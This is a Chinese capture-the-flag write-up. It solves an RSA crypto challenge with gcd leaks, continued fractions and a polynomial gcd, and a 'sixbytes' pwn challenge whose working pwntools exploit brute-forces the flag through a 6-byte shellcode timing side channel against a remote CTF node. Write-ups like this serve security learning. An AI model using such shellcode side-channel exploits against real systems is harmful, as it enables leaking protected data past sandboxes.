CRYPTO
ez_RSA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from Crypto.Util.number import *from secret import flagnum1 = getPrime(512 ) num2 = getPrime(512 ) while num1<num2 : num2 = getPrime(512 ) ring = RealField(1050 ) num3 = ring(num1) /ring(num2) print ("num3=" ,num3)p = getPrime(512 ) q = getPrime(512 ) n=p*q e=65537 m = bytes_to_long(flag) c=pow (m,e,n) print ("n=" ,n)print ("c=" ,c)n2 = getPrime(512 ) * getPrime(512 ) e1 = randint(1000 ,2000 ) e2 = randint(1000 ,2000 ) c1 = pow (p+num1,e1,n2) c2 = pow (p+num2,e2,n2) q1 = getPrime(512 ) leak1 = pow (q+q1,2024 ,n) leak2 = pow (q1+2024 ,q,n) print ("n2=" ,n2)print ("e1=" ,e1)print ("e2=" ,e2)print ("c1=" ,c1)print ("c2=" ,c2)print ("leak1=" ,leak1)print ("leak2=" ,leak2)""" num3= 1.36557212221826657073387899060669771982679822943621690677450888408226656788387273887547841291114809989272635809810564202247340711087479554863446719786359395466961253205133910506682801159622545780721946115442033391600881399634390008053822158098121985270501317972263356522400827768601773721146954464269212959784543085 n= 85105083975491693151454182116844944807066048677068373328227644321539783064315677834754866742549592569194223084173286381150626593510265361114796714226058887906219454795525438819082646860141163940340082006344850825956811992304447978369108606993344902286569100146695092703383844402883938506877787042873586279543 c= 8090472119640930864901421058741085326954308673260202542020919764880488559370287585797498390920330336595858609617432370825503480936376306766495089200286004922821787548265246289552343468177624634434613746605553770994437785042510225956023382347023663125411103947669109085411939772215657220674436476279268458980 n2= 101642316595332652021348165259853423287787139517550249986161819826180514401858258316466101056877182367161299111697465439636861942636526396547011727147471566130633614685728563576613692851860684686033186826342178072882901576159305747639645374751566751967096281105148714033096611618024355982220235949274576036321 e1= 1630 e2= 1866 c1= 8857135083997055103287497833179378469532619748945804429057682575070405217145941944821968708809563240261403711644389684947851643865895254406194464015430673347359589677809515117412321862622147634752091324365628790687343748145339949310696116239361890881096088375070083053010564890401663562726144984405628773323 c2= 44531030636557714647477473185500183066851251320453194953972504422367649302810396344051696851757189817391648356459225688318373454949578822468293099948132700460437006478679492801335689493431764882835346904225119630026545592437198370606462285405519745361570058335573353886454277790277663038008240372746639859253 leak1= 82301473255013183706458389946960254392188270550712533886416705365418418731488346328643954589202172816597173052792573628245245948345810581701878535280775967863966009605872386693838526935762655380705962833467046779524956212498594045378770790026387120339093736625186401934354434702063802537686761251873173518029 leak2= 43580171648136008789232340619597144591536098696024883687397347933098380327258730482377138309020375265135558484586783368757872008322883985094403855691297725907800406097129735499961231236473313141257901326737291586051506797429883866846199683028143924054925109557329949641367848264351523500925115860458645738192 """
我们先来看第三部分,如果是解题为目的的话,只需要解这一部分就可以了,解这一部分即可得到flag
。可以直接使用gcd
得到。推导过程的话会一些同余的运算性质即可。
1 2 3 q1 = getPrime(512 ) leak1 = pow (q+q1,2024 ,n) leak2 = pow (q1+2024 ,q,n)
1 2 3 4 5 6 7 8 9 10 11 12 leak1= 82301473255013183706458389946960254392188270550712533886416705365418418731488346328643954589202172816597173052792573628245245948345810581701878535280775967863966009605872386693838526935762655380705962833467046779524956212498594045378770790026387120339093736625186401934354434702063802537686761251873173518029 leak2= 43580171648136008789232340619597144591536098696024883687397347933098380327258730482377138309020375265135558484586783368757872008322883985094403855691297725907800406097129735499961231236473313141257901326737291586051506797429883866846199683028143924054925109557329949641367848264351523500925115860458645738192 e=65537 c= 8090472119640930864901421058741085326954308673260202542020919764880488559370287585797498390920330336595858609617432370825503480936376306766495089200286004922821787548265246289552343468177624634434613746605553770994437785042510225956023382347023663125411103947669109085411939772215657220674436476279268458980 q = gmpy2.gcd(leak1-pow (leak2-2024 ,2024 ,n),n) print (q)p = n//q print (p)phi = (p-1 )*(q-1 ) d = inverse(e,phi) print (libnum.n2s(int (pow (c,d,n))))
再来看第一部分,主要先来介绍一下RealField()
:
RealField()
是实现任意精度的浮点数,一般浮点数都是采用IEEE754
标准,精度会有限制。而RealField()
,是实现任意精度的浮点数,而代码中的设定了1050
精度的浮点数。
在该精度下实现俩个素数相除,并且得到1050
精度大小的小数。
1 2 3 4 5 6 7 8 9 num1 = getPrime(512 ) num2 = getPrime(512 ) while num1<num2 : num2 = getPrime(512 ) ring = RealField(1050 ) num3 = ring(num1) /ring(num2) print ("num3=" ,num3)num3= 1.36557212221826657073387899060669771982679822943621690677450888408226656788387273887547841291114809989272635809810564202247340711087479554863446719786359395466961253205133910506682801159622545780721946115442033391600881399634390008053822158098121985270501317972263356522400827768601773721146954464269212959784543085
此时我们就要通过小数来还原分子
和分母
这俩个素数。而我们的小数可以使用连分数展开,展开之后我们可以将连分数化为正常的分数形式,这样俩个素数就已经还原回来了。
这时我们再检查一下这俩个素数是否正确就行了。用到的连分数相关的定理目前我还没具体了解,等了解后就贴出(先填一个坑)。
在sagemath
中可以使用如下几个函数对小数进行转换:
continued_fraction函数
:将一个小数转换成连分数的形式,返回的是一个类似于列表形式。
numerator方法
:这个方法是对返回的连分数进行操作,该方法是传递的参数是获取指定第n
个收敛子对应的分子
denominator方法
:这个方法同numberator
,但是它是获取指定第n
个收敛子对应的分母。
但是我们并不知道要对应的是第几个收敛子的分子,所以我们要爆破和做判断从而解出num1
和num2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 num3 = "1.36557212221826657073387899060669771982679822943621690677450888408226656788387273887547841291114809989272635809810564202247340711087479554863446719786359395466961253205133910506682801159622545780721946115442033391600881399634390008053822158098121985270501317972263356522400827768601773721146954464269212959784543085" result = RealField(1050 )(num3) cf = continued_fraction(result) print (cf)num1 = cf.numerator(1050 ) num2 = cf.denominator(1050 ) for i in range (1050 ): num1 = cf.numerator(i) if isPrime(num1) == True and int (num1).bit_length()==512 : break for i in range (1050 ): num2 = cf.denominator(i) if isPrime(num2) == True and int (num2).bit_length()==512 : break print (num1)print (num2)num1 = 9234477875452540050907055680812175733211030585401847024956094109885380715661662501110233684131338074697772834745898452222070551975818702828913932925854661 num2 = 6762350904214303306453303458299415835504119332199015610928593488027530960090511757877122152908652987754908309308543812479366000921214925642982325588758637
接下去我们查看第二步,第二步与共模攻击比较像,但是由于是加密俩个不同的m
,所以不是共模攻击。
1 2 3 4 5 n2 = getPrime(512 ) * getPrime(512 ) e1 = randint(1000 ,2000 ) e2 = randint(1000 ,2000 ) c1 = pow (p+num1,e1,n2) c2 = pow (p+num2,e2,n2)
稍微查看了一下思路,这一部分的思路还是运用方程的思想,将c1
和c2
转换为模n2
下关于p
的两个方程。
这时我们先用其中一个方程进行求解,查看是否能解出来,我们发现无论使用c1
还是c2
这个方程,都不能解出来
1 2 3 4 5 6 7 8 9 10 11 num1 = 9234477875452540050907055680812175733211030585401847024956094109885380715661662501110233684131338074697772834745898452222070551975818702828913932925854661 num2 = 6762350904214303306453303458299415835504119332199015610928593488027530960090511757877122152908652987754908309308543812479366000921214925642982325588758637 n = 101642316595332652021348165259853423287787139517550249986161819826180514401858258316466101056877182367161299111697465439636861942636526396547011727147471566130633614685728563576613692851860684686033186826342178072882901576159305747639645374751566751967096281105148714033096611618024355982220235949274576036321 e1= 1630 e2= 1866 c1= 8857135083997055103287497833179378469532619748945804429057682575070405217145941944821968708809563240261403711644389684947851643865895254406194464015430673347359589677809515117412321862622147634752091324365628790687343748145339949310696116239361890881096088375070083053010564890401663562726144984405628773323 c2= 44531030636557714647477473185500183066851251320453194953972504422367649302810396344051696851757189817391648356459225688318373454949578822468293099948132700460437006478679492801335689493431764882835346904225119630026545592437198370606462285405519745361570058335573353886454277790277663038008240372746639859253 PR.<x> = PolynomialRing(Zmod(n)) f = (x+num1)^e1 - c1 result = f.roots() print (result)
我们只能再寻找其他方式,注意到我们有俩个方程,并且这是俩个多项式方程。先将这俩个方程列出来,不妨设p为未知数x
:
f 1 = ( x + n u m 1 ) e 1 − c 1 m o d ( n 2 ) f 2 = ( x + n u m 2 ) e 2 − c 2 m o d ( n 2 ) f_1=(x+num_1)^{e_1}-c_1~mod(n_2)\\
f_2=(x+num_2)^{e_2}-c_2~mod(n_2)
f 1 = ( x + n u m 1 ) e 1 − c 1 m o d ( n 2 ) f 2 = ( x + n u m 2 ) e 2 − c 2 m o d ( n 2 )
我们将这个多项式展开后就得到,得到俩个不同项数的多项式方程。
f 1 = x e 1 + k 1 x e 1 − 1 ∗ n u m 1 + . . . . . . + n u m 1 e 1 − c 1 m o d ( n 2 ) f 2 = x e 2 + h 1 x e 2 − 1 ∗ n u m 2 + . . . . . . + n u m 2 e 2 − c 2 m o d ( n 2 ) f_1 = x^{e_1} + k_1x^{e_1-1}*num_1+......+num_1^{e_1}-c_1~mod(n_2)\\
f_2 = x^{e_2} + h_1x^{e_2-1}*num_2+......+num_2^{e_2}-c_2~mod(n_2)
f 1 = x e 1 + k 1 x e 1 − 1 ∗ n u m 1 + . . . . . . + n u m 1 e 1 − c 1 m o d ( n 2 ) f 2 = x e 2 + h 1 x e 2 − 1 ∗ n u m 2 + . . . . . . + n u m 2 e 2 − c 2 m o d ( n 2 )
这时我们就可以使用辗转相除法,在多项式中的运用,先举一个例子,现在有俩个多项式
x 2 − 1 x − 1 \begin{array}{l}
x^2-1\\
x-1
\end{array}
x 2 − 1 x − 1
我们很快就反映出来这俩个多项式有一个公因式为:x − 1 x-1 x − 1 也就是我们可以把x 2 − 1 x^2-1 x 2 − 1 因式分解成( x + 1 ) ( x − 1 ) (x+1)(x-1) ( x + 1 ) ( x − 1 ) ,但是像f 1 、 f 2 f_1、f_2 f 1 、 f 2 这样的很长的多项式,就很难对其进行因式分解就像大整数难以找因数这样。
而我们可以使用多项式的辗转相除法,如果寻找到俩个多项式的公因式,就可以说明这俩个多项式因式分解后必然有我们求得的公因式。
这样我们就将f 1 、 f 2 f_1、f2 f 1 、 f 2 这样的多项式简化为这俩个公因式,使用这两个的公因式去再去求解方程,这次就可以求解成功了。在sagemath
中没有实现Zmod(n)
下的多项式辗转相除法。我们要手动实现gcd。这时我们可以得到一个关于x的一次多项式,这时我们就可以解出该方程的解。
所以exp如下,其中-f2.monic()[0]
将多项式的首项系数变为负数 ,从而得到正数解,接下来就是RSA
的解密了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 num1 = 9234477875452540050907055680812175733211030585401847024956094109885380715661662501110233684131338074697772834745898452222070551975818702828913932925854661 num2 = 6762350904214303306453303458299415835504119332199015610928593488027530960090511757877122152908652987754908309308543812479366000921214925642982325588758637 n = 101642316595332652021348165259853423287787139517550249986161819826180514401858258316466101056877182367161299111697465439636861942636526396547011727147471566130633614685728563576613692851860684686033186826342178072882901576159305747639645374751566751967096281105148714033096611618024355982220235949274576036321 e1= 1630 e2= 1866 c1= 8857135083997055103287497833179378469532619748945804429057682575070405217145941944821968708809563240261403711644389684947851643865895254406194464015430673347359589677809515117412321862622147634752091324365628790687343748145339949310696116239361890881096088375070083053010564890401663562726144984405628773323 c2= 44531030636557714647477473185500183066851251320453194953972504422367649302810396344051696851757189817391648356459225688318373454949578822468293099948132700460437006478679492801335689493431764882835346904225119630026545592437198370606462285405519745361570058335573353886454277790277663038008240372746639859253 PR.<x> = PolynomialRing(Zmod(n)) f1 = (x+num1)^e1 - c1 f2 = (x+num2)^e2 - c2 while f1: f2,f1 = f1,f2 % f1 f2 = int (-f2.monic()[0 ]) print (f2)f2 = 11336690855123440918981344983549075111042146183515447436428352345866740484601085654489736362113592934893771650378228571216482632281529958749765063994128413
easy_xor
PWN
sixbytes
分析1
接下来逆向分析一下程序,先来查看一下main
函数:主要调用了sub_134A
、sub_142C
、sub_13B8
、sub_12A9
、v3()
接下来我我们就来查看一下这些函数,查看sub_134A
发现是一个输入输出初始化的函数,我们将其命名为init
函数
接下来我们查看sub_142C
就会发现这个函数会将flag读取出来放入bss
段中,并且会返回bss
段上的地址
查看sub_13B8
发现,这里就是开辟一个可读可写可执行的内存段,然后允许我们写入6
字节
查看sub_12A9
发现,这个函数起到一个开启沙箱的作用
分析2
这题是一个写shellcode
类型,还开启了沙箱,现在来查看一下沙箱的禁用。我们发现这个沙箱是一个黑名单,将系统调用号小于0x40000000
都给禁用了,所以这题应该需要侧信道
我们先了解清楚,我们在调用v3
这个函数的时候寄存器布局和栈布局如下,这样更有利于我们写shellcode。我们发现flag
存储存放的地址值在RDI
有直接给出。
一开始想不出来怎么构造6
字节侧信道,看了wp
之后才发现能这样构造。接下来就是一些接收和异常处理了。
构造的shellcode
如下,如果大于的时候就会执行loop
循环
1 2 3 loop: cmp byte ptr[rdi+index],{cmp} jg loop
当程序执行循环的时候,如果我们进行接收,就会出现如下的报错。
但是当没进入循环的时候程序会直接结束,我们接收时并不会抛出异常。
利用这个特点,我们从低字节爆破到高字节,这样当一个flag位第一次出现异常的时候,我们就知道,这个位的flag值就被爆破出来了。我们就可以接下去爆破下一个flag的位。最终我们就能爆破出flag的值。(爆破的有点慢,先做其他题去)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *context.log_level='debug' context.arch = 'amd64' a = b'\x80?4\x7f\xfb' b = b'\x80\x7f\x014\x7f\xfa' flag = 'flag{' flag1 = '-0123456789abcdef}' for i in range (5 ,100 ): a = i.to_bytes(1 , 'little' ) for j in flag1: b = j.encode('utf-8' ) if i == 0 : shellcode = b'\x80?' + b + b'\x7f\xfb' else : shellcode = b'\x80\x7f' + a + b + b'\x7f\xfa' p = remote('node5.buuoj.cn' ,25730 ) p.sendline(shellcode) try : p.recv(timeout=0.4 ) p.close() except : flag += j print (flag) p.close() break print (flag)p.interactive()